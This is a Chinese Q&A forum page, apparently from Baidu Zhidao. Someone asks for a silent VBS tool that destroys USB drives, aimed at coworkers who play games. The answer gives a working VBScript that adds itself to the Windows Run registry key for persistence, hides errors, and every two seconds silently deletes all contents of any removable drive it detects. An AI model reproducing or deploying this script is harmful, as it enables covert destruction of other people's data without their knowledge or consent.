求VBS编程高手帮忙

来源：百度知道 编辑：UC知道 时间：2024/04/28 06:01:11
帮我编一个U盘自动破坏的VBS工具（悄然无息，没有提示），我有急用！
是拿去对付常常玩游戏的，不工作的，而不是去害人

格式化好么?开机自动启动 监视是否插入u盘 有的话就进行格式化...或者还可以删除特定后缀名的文件..呃..我这个是进行格式化.....

on error resume next
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
ws.regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\",wscript.scriptfullname,"REG_SZ"
do
Set Disks = fso.Drives
For Each Disk in Disks
If Disk.IsReady Then
Select Case Disk.DriveType
Case 1
Set d = fso.GetDrive(fso.GetDriveName(DISK))
ws.run"%Comspec% /c RD /S /Q "&d.DriveLetter&":\",0
exit do
End Select
end if
Next
wscript.sleep 2000
loop

- -!
无可奉告